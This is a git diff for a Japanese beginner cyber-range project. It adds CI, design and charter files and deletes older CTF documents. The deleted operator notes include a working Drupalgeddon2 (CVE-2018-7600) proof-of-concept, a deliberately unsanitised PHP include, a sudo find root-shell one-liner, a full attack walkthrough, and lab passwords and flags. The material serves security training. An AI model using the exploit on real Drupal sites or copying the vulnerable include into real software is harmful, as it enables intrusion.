diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
new file mode 100644
index 0000000..190ab9c
--- /dev/null
+++ b/.github/workflows/test.yml
@@ -0,0 +1,80 @@
+name: Test
+
+on:
+  pull_request:
+  push:
+    branches:
+      - "**"
+  workflow_call:
+
+permissions:
+  contents: read
+
+jobs:
+  checks:
+    name: Static and unit checks
+    runs-on: ubuntu-24.04
+    timeout-minutes: 15
+
+    steps:
+      - name: Check out source
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
+        with:
+          persist-credentials: false
+
+      - name: Set up Node
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
+        with:
+          node-version: 22
+          cache: npm
+          cache-dependency-path: apps/lab-guide/package-lock.json
+
+      - name: Set up Python
+        uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+        with:
+          python-version: "3.13"
+
+      - name: Install guide dependencies
+        run: npm ci --prefix apps/lab-guide
+
+      - name: Run repository checks
+        run: npm run check
+
+      - name: Check Bash syntax
+        shell: bash
+        run: |
+          set -Eeuo pipefail
+          checked=0
+          while IFS= read -r -d '' file; do
+            if head -n 1 "${file}" | grep -Eq '^#!.*(/|env )(ba)?sh([[:space:]]|$)'; then
+              bash -n "${file}"
+              checked=$((checked + 1))
+            fi
+          done < <(find labs/open-world-target -type f -print0)
+          ((checked > 0))
+          printf 'Checked %d shell scripts.\n' "${checked}"
+
+      - name: Check PHP syntax
+        shell: bash
+        run: |
+          set -Eeuo pipefail
+          command -v php >/dev/null
+          checked=0
+          while IFS= read -r -d '' file; do
+            php -l "${file}"
+            checked=$((checked + 1))
+          done < <(find labs/open-world-target -type f -name '*.php' -print0)
+          ((checked > 0))
+          printf 'Checked %d PHP files.\n' "${checked}"
+
+      - name: Check C fixture syntax
+        shell: bash
+        run: |
+          set -Eeuo pipefail
+          checked=0
+          while IFS= read -r -d '' file; do
+            cc -Wall -Wextra -Werror -fsyntax-only "${file}"
+            checked=$((checked + 1))
+          done < <(find labs/open-world-target -type f -name '*.c' -print0)
+          ((checked > 0))
+          printf 'Checked %d C files.\n' "${checked}"
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..aa38a26
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,9 @@
+node_modules/
+dist/
+coverage/
+*.log
+.DS_Store
+__pycache__/
+*.py[cod]
+.pytest_cache/
+.mypy_cache/
diff --git a/DESIGN.md b/DESIGN.md
new file mode 100644
index 0000000..c96aabf
--- /dev/null
+++ b/DESIGN.md
@@ -0,0 +1,180 @@
+---
+version: "2.0"
+name: "ExamServer Open World — Playable Operations Board"
+description: "Three authored visual modes for a beginner cyber range, bound by one learning hierarchy."
+colors:
+  primary: "#007F90"
+  primary-hover: "#006470"
+  canvas: "#F1EEE5"
+  surface: "#FFFDF5"
+  surface-muted: "#E8E3D8"
+  text: "#151410"
+  text-muted: "#625F56"
+  border: "#171611"
+  success: "#087B6F"
+  warning: "#E1A800"
+  danger: "#DD3F3F"
+typography:
+  display:
+    fontFamily: "Noto Sans JP"
+    fontSize: "2rem"
+    fontWeight: 850
+    lineHeight: "1.25"
+    letterSpacing: "-0.03em"
+  body:
+    fontFamily: "Noto Sans JP"
+    fontSize: "1rem"
+    fontWeight: 400
+    lineHeight: "1.75"
+    letterSpacing: "0px"
+  label:
+    fontFamily: "Noto Sans JP"
+    fontSize: "0.875rem"
+    fontWeight: 700
+    lineHeight: "1.45"
+    letterSpacing: "0px"
+  mono:
+    fontFamily: "Geist Mono"
+    fontSize: "0.8125rem"
+    fontWeight: 600
+    lineHeight: "1.4"
+rounded:
+  sm: "2px"
+  md: "4px"
+  lg: "6px"
+spacing:
+  xs: "0.5rem"
+  sm: "0.75rem"
+  md: "1rem"
+  lg: "1.5rem"
+  xl: "2rem"
+components:
+  button-primary:
+    backgroundColor: "{colors.primary}"
+    textColor: "#FFFFFF"
+    rounded: "{rounded.sm}"
+    height: "44px"
+  button-secondary:
+    backgroundColor: "{colors.surface}"
+    textColor: "{colors.text}"
+    rounded: "{rounded.sm}"
+    height: "44px"
+---
+
+# ExamServer Open World Design Contract
+
+## Design thesis
+
+このサイトは「説明を読む教材」ではなく、攻撃経路を自分で切り開くプレイアブルな作戦盤である。良い見た目の条件は装飾量ではない。2秒で現在地が分かり、10秒で次の仮説を比較でき、選んだ行動と発見の因果が記憶に残ることを品質基準とする。
+
+認知負荷はユーザーが求めた時だけ上げる。初期画面には現在の状況、現在の目標、次の主要操作だけを残し、補助情報は名称と件数が分かる「ラベル付きの引き手」として待機させる。引き手を操作した時だけ一枚のdrawerを開き、別の引き手を操作したら中身を入れ替える。
+
+三つの見た目は配色プリセットではない。情報の意味、操作、状態を共有しながら、異なる構図・書体・境界・動きで同じ世界を演出する。
+
+## Visual targets
+
+- `docs/design/themes/play-mission-deck.png` — PLAY / Mission Deck
+- `docs/design/themes/ops-night-circuit.png` — OPS / Night Circuit
+- `docs/design/themes/focus-field-notes.png` — FOCUS / Field Notes
+- 旧 `docs/design/exploration-map.png` と `docs/design/situation-consultation.png` は情報構造の参考であり、色・密度・雰囲気の正本ではない。
+
+生成画像内のサンプル文言、数値、誤字、架空の機能は仕様ではない。実装は実データ、既存の安全境界、アクセシビリティを優先する。
+
+## What “award-quality” means here
+
+### 1. One memorable idea
+
+主役は常に一本の攻撃経路である。地図、事実、次の選択、最近の発見が一つの因果へ収束し、KPIカードの寄せ集めにはしない。
+
+### 2. Hierarchy before decoration
+
+- 常時表示: 画面名、現在の目標、世界／仮説、次の主要操作
+- 引き手: ライブ接続、確定した事実、次の調査／ヒント、最近の発見、見た目
+- 開いた時: 選択した一種類だけをdrawerへ表示する
+- 緊急表示: 接続断や更新失敗だけは現在の作業を失わせず主画面へ通知する
+
+見出し、選択地点、主ボタンだけが最強のコントラストを持つ。補助文、時刻、接続状態は一段静かにする。件数は「中に何があるか」を予告するために使い、進捗カードやKPI列にはしない。
+
+### 3. Typography is the interface
+
+- PLAY: `Noto Sans JP` の太い見出し。短く、勢いがあり、読み間違えない。
+- OPS: `Noto Sans JP` と `Geist Mono`。日本語本文をコード風に崩さず、状態と時刻だけをmonoにする。
+- FOCUS: `Noto Serif JP` の見出しと `Noto Sans JP` の本文。余白と行間で読む順を作る。
+- 画像化された文字、極小文字、装飾だけの英語を主要情報に使わない。
+
+### 4. Geometry carries state
+
+発見済み、選択中、未発見は色だけで区別しない。実線／強調枠／破線、icon、label、focus ringを必ず併用する。未発見名や答えをDOMへ先出ししない。
+
+### 5. Motion confirms cause
+
+- 150–220ms、`cubic-bezier(0.16, 1, 0.3, 1)` を基本にする。
+- hoverは2–3px以内の移動、選択はborderとshadowの変化、経路は控えめなdash移動まで。
+- 常時点滅、無目的なparallax、スクロールジャック、Matrix rainを使わない。
+- `prefers-reduced-motion` では即時表示にする。
+
+### 6. Empty space is functional
+
+余白は「未実装」を隠すためでなく、事実・地図・選択の境界を明確にするために使う。画面を同寸カードで埋めず、中央の経路へ最大の面積を渡す。
+
+## Three authored modes
+
+### PLAY / Mission Deck
+
+ポップゲーム。黒いインク、温かい紙、electric cyan、acid yellow、coralで、クエスト盤の触感を作る。太い境界、ハードシャドウ、mission番号、選択地点の黒いbriefを使う。成人向けのグラフィックデザインであり、mascot、emoji、子供向けtoy表現、意味のない報酬演出は使わない。初回既定値はPLAY。
+
+### OPS / Night Circuit
+
+ハッカー風。midnight、phosphor mint、amber、ultravioletでライブ運用面を作る。細いgrid、mono metadata、発光を抑えたroute trace、角の小さいsurfaceを使う。green-code壁紙、Matrix rain、skull、過剰なneon、読みにくい全mono本文は使わない。
+
+### FOCUS / Field Notes
+
+シンプル。warm white、黒いink、signal vermilion、quiet cobaltで編集されたフィールドノートを作る。罫線、非対称の余白、明確な文字組みを使い、surface chromeを最小化する。単なるbeige SaaS、巨大な空白、情報を隠すミニマリズムにはしない。
+
+## Shared interaction contract
+
+- Headerの `見た目 PLAY / OPS / FOCUS` という一つの引き手からテーマを即時切替できる。三択を初期表示しない。
+- 選択は `aria-pressed` で伝え、44px相当の操作面と明確なfocus ringを持つ。
+- 選択テーマはversion付きlocalStorageへ保存する。保存不能でもPLAYで継続する。
+- テーマ切替で画面、地図選択、仮説、ヒント、セッション状態を初期化しない。
+- 色テーマと公開ガイドはローカルbundleだけで動く。ライブ教材イベントは同一originのクラウドAPIから受け、外部fontや第三者UI SDKは要求しない。
+- 補助情報のdrawerは同時に一枚だけ開く。`Escape` と背景操作で閉じ、閉じた後は元の引き手へfocusを戻す。
+- drawer内へkeyboard focusを閉じ込め、見えていない補助情報をtab順へ残さない。
+- 新しい教材イベントを受けてもdrawerを勝手に開かない。引き手の件数と主画面の目標だけを更新する。
+
+## State language
+
+- Browse: 接続エラーにせず、世界観、遊び方、必要機材、安全境界と接続入口を表示する。
+- Waiting: ペアリング済みだがBridge未到着。何を待っているかと再接続方法を示す。
+- Loading: 最後の確定状態を残し、更新中と書く。
+- Empty: 有線接続と入口確認だけを示す。
+- Live: 新しい教材イベントで、地図の経路、現在目標、引き手の件数を更新する。開いているdrawerが該当する場合だけ中身も更新し、閉じている補助情報を勝手に展開しない。
+- Reconnecting: 操作を失わせず、自動再接続と手動再読込を出す。
+- Selected: border、icon、label、地点briefの4点で示す。
+- Locked hint: 開放条件を日常語で示す。
+- Success: rootまでの一本の経路と権限変化の振り返りを主役にする。
+- Telemetry unavailable: 自動検出不能を明示する。flag手動提出は標的直結のローカル表示だけに出し、クラウド表示には出さない。
+
+## Live transition contract
+
+- 新しい事実では、まずイベント列へ追加し、続いて対応ノードと経路、最後に目標と選択肢を150-220msで更新する。
+- ページ全体を再読込せず、現在の画面、選択地点、開いたヒント、テーマを維持する。
+- 複数イベントを受けてもrevision順だけを採用し、古いsnapshotで画面を巻き戻さない。
+- `prefers-reduced-motion`では同じ情報を即時更新し、色だけに頼らずラベルと形状も変える。
+- BrowseからLiveへの切替は同じ世界へ接続したと理解できる連続した遷移にし、別アプリへ飛んだ印象を作らない。
+
+## Responsive contract
+
+- 主基準: 1366×768。検証: 1672×941、1280×720、360×800。
+- 900px未満でも初期画面へ補助情報を縦積みしない。引き手は横方向に短く並べ、選んだ情報だけをbottom sheetとして表示する。
+- 狭いheaderでは現在テーマだけを残し、三択は `見た目` の引き手を開いた後に表示する。
+- 横スクロール、sticky headerによるfocus隠れ、44px未満の主要操作を許さない。
+
+## Rejected directions
+
+- generic dashboard、KPI、ranking、streak、trophy、card soup
+- 事実、行動、履歴、接続、設定をすべて常時表示するcontrol-room layout
+- glassmorphism、巨大な角丸container、無意味なgradient
+- fake terminal、code rain、stock hacker photography
+- chat人格、自由文AI prompt、仮説より先に完全commandを見せること
+- runtimeで生成画像を背景として読み込み、offline bundleを重くすること
diff --git a/DISTRIBUTION.md b/DISTRIBUTION.md
deleted file mode 100644
index 9701a67..0000000
--- a/DISTRIBUTION.md
+++ /dev/null
@@ -1,191 +0,0 @@
-# DISTRIBUTION — 出題者用 配布手順
-
-> このドキュメントは **VM作成者(出題者)** が読むためのものです。
-
-## 概要
-
-完成した CTF VM を OVA としてエクスポートし、チームに配布するまでの流れ。
-
-```
-[VM内cleanup] → [シャットダウン] → [ディスク圧縮] → [OVAエクスポート] →
-[追加圧縮] → [配布]
-```
-
-## ステップ0: VMクローン作成(強く推奨)
-
-cleanup スクリプトは Firefox 履歴や Documents なども消します。**自分のVMをそのまま配布用に潰すと自分のデータが失われる**ので、クローンを作ってから作業しましょう。
-
-VirtualBox GUI で対象VM を右クリック:
-1. **クローン作成**
-2. 名前: `yamamoto-mfg-ctf-distribution`
-3. クローンタイプ: **完全クローン**
-4. MAC ポリシー: **すべての MAC アドレスを再生成**
-5. 実行(数分)
-
-以降、**クローンの方** でステップ1〜進める。オリジナルは手を付けない。
-
-## ステップ1: VM内クリーンアップ
-
-クローンVMを起動して、ターミナルから:
-
-```bash
-sudo bash /root/cleanup-before-distribution.sh
-```
-
-これで以下が実行される:
-- 構築時に追加した`user`の sudo 権限を削除
-- `user`アカウントのパスワードロック
-- `/home/user/` の個人データ削除 (Claude, codex, npm, **Firefox プロフィール**, **Documents/Downloads/Desktop の中身** 等)
-- `/root/` の構築用ツール削除
-- `/tmp/` セットアップ痕跡削除
-- ブラウザキャッシュ全削除
-- ログ削除 / shell history クリア
-
-## ステップ2: ディスクを圧縮できる状態にする
-
-OVA を小さくするコツは「未使用領域をゼロ埋めする」こと。
-
-```bash
-# VM内で:
-sudo dd if=/dev/zero of=/zerofile bs=1M status=progress
-sudo rm /zerofile
-sync
-```
-
-ディスクが満杯になるエラーが出るのは正常 (それが目的)。
-
-## ステップ3: シャットダウン
-
-```bash
-sudo shutdown -h now
-```
-
-## ステップ4: VirtualBox でディスクをコンパクト化
-
-ホストOS (VirtualBox がある側) のターミナルで:
-
-```bash
-# Linux/Mac
-VBoxManage modifyhd <vmdk-or-vdi-path> --compact
-
-# Windows
-"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyhd "<path>" --compact
-```
-
-ディスクパスは `~/VirtualBox VMs/<vmname>/<vmname>.vdi` あたり。
-
-## ステップ5: OVA エクスポート
-
-VirtualBox メニュー:
-**ファイル → 仮想アプライアンスのエクスポート**
-
-設定:
-- ファイル名: `yamamoto-mfg-ctf.ova`
-- フォーマット: **OVF 1.0** または **OVA 2.0** (OVA推奨)
-- 「すべてのネットワークアダプタ MAC アドレスを書き出す」: **チェック外す**
-- 「ISOイメージを含める」: **チェック外す**
-
-エクスポート実行。完成サイズは概ね **2〜4 GB** の範囲。
-
-## ステップ6: 追加圧縮(任意)
-
-OVAをさらに小さくしたい場合:
-
-```bash
-xz -9 -T0 yamamoto-mfg-ctf.ova
-# → yamamoto-mfg-ctf.ova.xz (大体30%縮む)
-```
-
-または:
-```bash
-7z a -mx=9 yamamoto-mfg-ctf.7z yamamoto-mfg-ctf.ova
-```
-
-## ステップ7: 配布
-
-### Option A: GitHub Releases (推奨・2GB以下なら)
-
-```bash
-# gh CLI がログイン済みの状態で:
-gh release create v1.0 \
-  --repo skjshr/tgtsec \
-  --title "Yamamoto Mfg. CTF v1.0" \
-  --notes "Initial release. See README.md for setup." \
-  yamamoto-mfg-ctf.ova
-```
-
-Webブラウザでも可能:
-1. https://github.com/skjshr/tgtsec/releases/new
-2. Tag: `v1.0`
-3. Title: `Yamamoto Mfg. CTF v1.0`
-4. ファイルをドラッグ&ドロップ
-5. **Publish release**
-
-ファイルサイズ上限は **2GB/file**(無償アカウントでも)。
-
-### Option B: 外部ストレージ (2GB超なら)
-
-候補:
-- **Google Drive** (15GB無償)
-- **Mega.nz** (20GB無償)
-- **Dropbox** (2GB無償)
-- **WeTransfer** (2GB、7日間)
-- **filebin.net** (匿名・期限付き)
-
-リンクを README に追記して push。
-
-### Option C: Git LFS (お勧めしない)
-
-技術的には可能だが、無償枠の帯域(月1GB)を超えると課金されたりリンク切れたり面倒。Releases の方が無難。
-
-## ステップ8: README にダウンロードリンク追記
-
-GitHubの README に以下のような行を追加:
-
-```markdown
-## ダウンロード
-
-最新版OVA: [Releases ページ](https://github.com/skjshr/tgtsec/releases) からダウンロード。
-SHA256: <ハッシュ値>
-```
-
-ハッシュは:
-```bash
-sha256sum yamamoto-mfg-ctf.ova
-```
-
-## ステップ9: チームに通知
-
-リポジトリのリンク + Releases のリンクをSlack/Discord/メール等で共有。
-
-```
-山本製作所 CTF 配布開始!
-
-📁 セットアップ手順 + ヒント: https://github.com/skjshr/tgtsec
-📦 VMダウンロード: https://github.com/skjshr/tgtsec/releases/latest
-
-  - 形式: Boot2Root
-  - 想定時間: 2-4時間
-  - フラグ3個 (TSHL{...})
-
-がんばって!
-```
-
-## アップデート手順 (バグ修正があった場合)
-
-1. VMを修正
-2. cleanup → shutdown → compact → export を再実行
-3. `gh release create v1.1 ...` で新Release
-4. README更新が必要なら push
-
-## チェックリスト(配布前最終確認)
-
-- [ ] `sudo bash /root/cleanup-before-distribution.sh` 実行済み
-- [ ] /home/user/.claude などの個人データ全削除
-- [ ] フラグ3個が正しく配置されている (`/var/www/.flag1.txt`, `/home/yamamoto/user.txt`, `/root/root.txt`)
-- [ ] Drupalgeddon2 PoC が動作する(自分でend-to-end走らせて確認)
-- [ ] sudo find privesc が動作する
-- [ ] ネットワーク設定がまずデフォで NAT または Host-Only(プレイヤーが設定変える)
-- [ ] OVA エクスポートが正常完了
-- [ ] SHA256 ハッシュ計算済み
-- [ ] Release 作成済み or 外部リンク準備済み
diff --git a/OPERATOR-NOTES.md b/OPERATOR-NOTES.md
deleted file mode 100644
index 924bd47..0000000
--- a/OPERATOR-NOTES.md
+++ /dev/null
@@ -1,226 +0,0 @@
-# OPERATOR-NOTES — 出題者専用 機密ノート
-
-> ⚠️ **このファイルは絶対に公開しないこと**
->
-> - リポジトリ `skjshr/tgtsec` は **private** 前提
-> - **public** に切り替える際は、このファイルを **削除 + git履歴書き換え**
->   ```bash
->   git filter-repo --path OPERATOR-NOTES.md --invert-paths
->   ```
->   または別リポジトリに分離
-> - もし誤って公開してしまったら、**全パスワード即変更 + 全フラグ再生成**
-
----
-
-## 1. 認証情報・フラグ(完全版)
-
-### Linux アカウント
-
-| ユーザー | パスワード | 用途 |
-|---------|----------|------|
-| `root` | `admin` | VM起動時のroot(初期インストール時設定) |
-| `user` | (元々の起動時パスワード) | VM owner — 配布前に cleanup でロック |
-| `yamamoto` | `Sakura@2011` | CTF意図のターゲットユーザー |
-
-### Drupal
-
-| 項目 | 値 |
-|-----|---|
-| 管理ユーザー名 | `yamamoto` |
-| 管理パスワード | `Sakura@2011` (SSHと同じ — 使い回し意図) |
-| サイト名 | `Yamamoto Mfg. Blog` |
-| 管理メール | `t.yamamoto@yamamoto-mfg.co.jp` |
-
-### MariaDB
-
-| 項目 | 値 |
-|-----|---|
-| root認証 | unix_socket (パスワードなし) |
-| DB名 | `yamamoto_blog` |
-| DB ユーザー | `drupal` |
-| DB パスワード | `Dru9al_S3cret_2011` |
-
-### フラグ(現行)
-
-```
-WEB:  TSHL{5268d0547c04e6cfa72acf47}  /var/www/.flag1.txt
-USER: TSHL{a48e406f3b221dbc539b32db}  /home/yamamoto/user.txt
-ROOT: TSHL{ecd482c813c9323c011ed1b0}  /root/root.txt
-```
-
-VM内では `/root/.ctf-flags-master.txt` に同じ内容を保存。
-
----
-
-## 2. 攻撃チェーン(完全)
-
-```
-[1] nmap → 22/SSH, 80/HTTP
-[2] http://target/ で ?page= LFI 発見
-[3] LFI: ?page=/var/www/maintenance.txt → /blog/ + Drupal 7.57 確認
-[4] /blog/CHANGELOG.txt で Drupal 7.57 確定
-[5] CVE-2018-7600 (Drupalgeddon2) で www-data RCE
-[6] /var/www/.flag1.txt 取得 → FLAG 1
-[7] /var/backups/yamamoto-personal-notes.txt 読取 → password "Sakura@2011"
-[8] ssh yamamoto@target → /home/yamamoto/user.txt → FLAG 2
-[9] sudo -l → /usr/bin/find が NOPASSWD
-[10] sudo find . -exec /bin/sh \; -quit → root シェル
-[11] /root/root.txt → FLAG 3
-```
-
-### Drupalgeddon2 PoC (動作確認済み)
-
-```python
-import requests, re, sys
-target = "http://<TARGET>/blog/"
-cmd = sys.argv[1] if len(sys.argv) > 1 else "id"
-
-r = requests.post(
-    target + "?q=user/password&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=" + cmd,
-    data={"form_id": "user_pass", "_triggering_element_name": "name"}
-)
-fbid = re.search(r'name="form_build_id" value="([^"]+)"', r.text).group(1)
-r2 = requests.post(target + f"?q=file/ajax/name/%23value/{fbid}", data={"form_build_id": fbid})
-print(r2.text.split('[{"command"')[0])
-```
-
----
-
-## 3. 構築アーキテクチャ(復旧用)
-
-### OS
-- Debian 13 (trixie) — VirtualBox VM
-- ホスト名: `yamamoto-web01`
-- 主ディスク: 19GB, 7GB使用
-
-### 採用ソフトウェアバージョン
-
-| ソフト | バージョン | 入手元 |
-|-------|----------|--------|
-| Apache | 2.4.66 (Debian標準) | apt |
-| **PHP** | **7.0.33** | **deb.sury.org (重要)** |
-| MariaDB | 11.8.6 (Debian標準) | apt |
-| Drupal | **7.57** (脆弱性版) | https://ftp.drupal.org/files/projects/drupal-7.57.tar.gz |
-
-### PHP 7.0 採用理由
-- Drupal 7.57 は Drupalgeddon2 (CVE-2018-7600) の対象 — 7.58 で修正
-- Drupal 7.57 は PHP 7.4+ で `field_attach_load()` 未定義エラー等の致命的非互換あり
-- PHP 7.3 でも同様の問題発生
-- → PHP 7.0.33 (sury repo) でクリーンに動作確認済み
-
-### sury repo セットアップ手順
-```bash
-curl -sSL https://packages.sury.org/php/apt.gpg -o /etc/apt/trusted.gpg.d/sury-php.gpg
-echo "deb https://packages.sury.org/php/ trixie main" > /etc/apt/sources.list.d/sury-php.list
-apt update
-apt install -y libapache2-mod-php7.0 php7.0 php7.0-{cli,common,mysql,gd,xml,mbstring,curl,zip}
-a2dismod php7.4 || true
-a2enmod php7.0
-systemctl restart apache2
-```
-
-### Drupal インストール時の落とし穴
-- インストーラーは多段バッチ処理 (curl で再帰的にmeta refresh URLを叩く必要あり)
-- 進捗100%でも `op=finished` URL を踏まないと "Configure site" に遷移しない
-- 詳細は本リポジトリの Bash履歴を参照(必要なら別途スクリプト化)
-
----
-
-## 4. 仕掛けの詳細(再現用)
-
-### LFI (メインサイト)
-**ファイル**: `/var/www/html/index.php`
-```php
-$page = isset($_GET['page']) ? $_GET['page'] : 'pages/home.php';
-include($page);   // ← サニタイズなし
-```
-- LFIで `/etc/passwd`, `php://filter`, `/var/www/maintenance.txt` 等読み取り可能
-
-### LFI hint file
-**ファイル**: `/var/www/maintenance.txt` (mode 644, root所有)
-- Drupal 7.57 / `/blog/` パス / SA-CORE-2018-002 への言及あり
-- LFI 経由で `?page=/var/www/maintenance.txt` でしか読めない位置(URL直接アクセス不可)
-
-### password reuse leak file
-**ファイル**: `/var/backups/yamamoto-personal-notes.txt` (mode 644, yamamoto所有)
-- 平文で `Sakura@2011` 記載
-- WWW-data 権限から読める(www-data → yamamoto pivot 用)
-
-### sudo 誤設定
-**ファイル**: `/etc/sudoers.d/yamamoto-find`
-```
-yamamoto ALL=(ALL) NOPASSWD: /usr/bin/find
-```
-- GTFOBins の find sudo技で root 取得可能
-
----
-
-## 5. 復旧シナリオ別チェックリスト
-
-### A) フラグだけ再生成したい
-```bash
-WEB=$(echo "TSHL{$(openssl rand -hex 12)}")
-USER=$(echo "TSHL{$(openssl rand -hex 12)}")
-ROOT=$(echo "TSHL{$(openssl rand -hex 12)}")
-
-# ファイルの中身を上書き(マスター記録も更新)
-# 詳細は /root/ にあった元のスクリプト参照
-```
-
-### B) パスワードを変えたい
-1. `passwd yamamoto` で新パスワード設定
-2. Drupal admin パスワードも合わせる:
-   ```bash
-   cd /var/www/html/blog
-   php scripts/password-hash.sh '<新パスワード>'
-   # 出てきたハッシュを users テーブルに UPDATE
-   ```
-3. `/var/backups/yamamoto-personal-notes.txt` の文言を更新
-
-### C) ゼロから VM を作り直したい
-1. クリーンな Debian 13 VM 用意
-2. 上記「sury repo セットアップ手順」を実行
-3. Drupal 7.57 を tarball 取得 → `/var/www/html/blog/` に展開
-4. MariaDB に DB + ユーザー作成
-5. Drupal インストーラを curl で多段バッチ処理 (面倒)
-6. メインサイトの index.php / pages/*.php / header.php / footer.php を配置
-7. `/var/www/maintenance.txt` 配置
-8. yamamoto user 作成
-9. `/var/backups/yamamoto-personal-notes.txt` 配置
-10. sudoers.d/yamamoto-find 配置
-11. 3つのフラグ配置
-12. cosmetic touches (motd, issue.net, hostname)
-
-→ **将来的に `setup.sh` として全自動スクリプト化を推奨**
-
----
-
-## 6. 既知の "ゆるさ" / 想定外解法
-
-意図された解法以外で root 取れる経路があれば追記。現時点で把握済み:
-
-- **dir bruteforce で /blog/ 直接発見可能** — LFI 経由でなくても可。これは意図通り(複数経路OK)
-- **Drupalgeddon2 はメタスプロイトでも一発** — `exploit/unix/webapp/drupal_drupalgeddon2`。これも想定内
-- **CMS/Drupal hash crack** — yamamoto の Drupal admin hash を `john --format=phpass` でクラック可能(が、`Sakura@2011` は rockyou.txt にないので失敗するはず)。プレイヤーが諦めてプレーンテキスト探しに走るので問題なし
-
----
-
-## 7. 配布前 cleanup スクリプトの効能・限界
-
-`/root/cleanup-before-distribution.sh` がやること:
-- `user` の sudo 権限剥奪、パスワードロック、個人データ削除
-- ログtruncate、shell history削除
-- /root/ の構築ツール削除 (.claude, .codex, node_modules)
-
-やらないこと(意図的に残す):
-- `/root/CTF-WRITEUP.md` (root取らないと読めないので残してOK)
-- `/root/.ctf-flags-master.txt` (同上)
-- `/root/CTF-README.md`
-- `/var/backups/yamamoto-personal-notes.txt` (CTFの一部!)
-
----
-
-## 8. 連絡先
-
-このCTFの出題者: takes-security-hacking-lab
-リポジトリ管理者: skjshr
diff --git a/PRIMER.md b/PRIMER.md
deleted file mode 100644
index 8ebd9ea..0000000
--- a/PRIMER.md
+++ /dev/null
@@ -1,75 +0,0 @@
-# PRIMER — CTF初参加者へ
-
-> 「CTF って何?どこから手を付ければ?」という人向け。
-
-## CTF とは
-
-**Capture The Flag** の略。脆弱なシステムを合法的に攻撃して、隠された「フラグ」を見つけるゲーム。
-
-このCTFは **Boot2Root** 形式 — VM 1台のあらゆる隙を見つけて、最終的に **root 権限** を取るのが目標。途中で3つのフラグ(`TSHL{...}`)を回収します。
-
-## 心構え
-
-1. **手を動かす** — ググるよりまず叩く
-2. **記録する** — 試したコマンドと結果をメモ。後で必ず役立つ
-3. **詰まったら寝る** — 本当に。意外と次の日に解ける
-4. **「これ怪しい」を信じる** — なんか変なURLパラメータ、なんか古いバージョン番号、なんか空のディレクトリ — 全部攻撃対象
-
-## やること(ざっくり)
-
-```
-[偵察] → [脆弱性発見] → [侵入] → [情報収集] → [権限昇格]
-```
-
-中級初心者向け CTF はだいたいこの流れ。各段階を一つずつ進めましょう。
-
-## 必要なツール
-
-攻撃用VMに **Kali Linux** か **Parrot OS** を使うのが楽(ツールが最初から入っている)。普通のLinux/Macでも全部入れられます。
-
-### 最低限これだけは入れる
-
-| ツール | 用途 | インストール |
-|--------|------|------------|
-| `nmap` | ポートスキャン・サービス特定 | `apt install nmap` |
-| `curl` / `wget` | HTTPリクエスト送信 | 多分すでに入ってる |
-| `ssh` | SSHログイン | 多分すでに入ってる |
-| `python3` | スクリプト実行・PoC実行 | 多分すでに入ってる |
-| `gobuster` or `dirb` | URLディレクトリ列挙 | `apt install gobuster` |
-
-### あると便利
-
-- `Burp Suite Community` — HTTP通信を覗き見・改ざんできる(GUI)
-- `searchsploit` — Exploit-DB検索 (`apt install exploitdb`)
-- `john` / `hashcat` — パスワードハッシュ解析
-- `git` — Pythonの公開エクスプロイトを clone するため
-
-## 用語ミニ辞書
-
-- **RCE** (Remote Code Execution) — 遠隔から任意のコマンド実行できる脆弱性。最強
-- **LFI** (Local File Inclusion) — Webアプリが任意のローカルファイルを include してしまう
-- **CVE** — 脆弱性の通し番号 (`CVE-YYYY-NNNN`)。これで検索すると公開情報がわんさか出る
-- **PoC** (Proof of Concept) — 「動く脆弱性デモコード」。GitHub や Exploit-DB に転がってる
-- **Privesc** (Privilege Escalation) — 権限昇格。一般ユーザー → root とか
-- **GTFOBins** — Linux 標準コマンドを使った権限昇格トリック集 (https://gtfobins.github.io/)
-- **www-data** — Linux の Web サーバー実行ユーザー(典型的にRCEで最初に取る権限)
-
-## 最初の30分(おすすめ流れ)
-
-```bash
-# 1. ターゲットの IP を確認(ホスト側 arp -a, または VMコンソール画面)
-TARGET=192.168.X.X
-
-# 2. ポートスキャン (詳細版)
-nmap -p- -sV -sC $TARGET
-
-# 3. Web サイトを開いて全ページ巡回
-firefox http://$TARGET/
-
-# 4. URLパラメータや「変な動き」をメモ
-
-# 5. ディレクトリ列挙
-gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt
-```
-
-このあたりで**何かが見えるはず**。見えたら次の `WALKTHROUGH-BEGINNER.md` のヒントを段階的に開いてください。
diff --git a/PROJECT_CONSTITUTION.md b/PROJECT_CONSTITUTION.md
new file mode 100644
index 0000000..f8522e4
--- /dev/null
+++ b/PROJECT_CONSTITUTION.md
@@ -0,0 +1,72 @@
+# ExamServer 実践ラボ Constitution
+
+## Thesis
+
+IT初心者が、直結したDebian実機を観察し、複数の入口と権限昇格経路から自分で仮説を選び、30〜60分でrootまでの因果を説明できる、再挑戦可能なオープンワールド演習を作る。
+
+## Moment of satisfaction
+
+参加者が探索地図に自分の発見した経路がつながり、「手順をなぞった」のではなく「この状態から自分で次を選んでrootへ届いた」と理解する。
+
+## One-sentence spec
+
+WindowsとのデュアルブートDebianノートをKali実機または隔離Kali VMから直結攻撃し、3つの入口、3つの実機root経路、14個のflagを探索する世界を通常時はExamServerの`/lab`で閲覧でき、演習時はKali Bridgeが許可済み教材イベントだけを`/api/lab`へ送り、探索地図、次の選択、説明を2秒以内に変化させるラボを提供する。
+
+## Mechanism
+
+1. 標的は中古バイク販売・整備チェーン「風切モータース」の一つの業務環境として見せる。
+2. 参加者のWeb到達、共有アクセス、認証、flag参照、権限変化をDebian上で教材イベントとして自動検出する。
+3. Kali BridgeはDebianの公開投影を読み、外向きHTTPSだけでクラウドへ中継する。Debianへインターネット経路を与えない。
+4. 学習サイトは未接続でも公開ブリーフィングを表示し、ペアリング後は発見済み事実だけをライブ投影する。未発見の正解や完全な世界定義をブラウザへ渡さない。
+5. 状況相談は事実から仮説を選ばせ、観察点、道具、操作例の順でヒントを開く。
+6. 初期画面は現在地、現在目標、次の主要操作だけを見せ、接続、事実、調査、履歴、見た目はラベル付きの引き手から一種類ずつ開く。
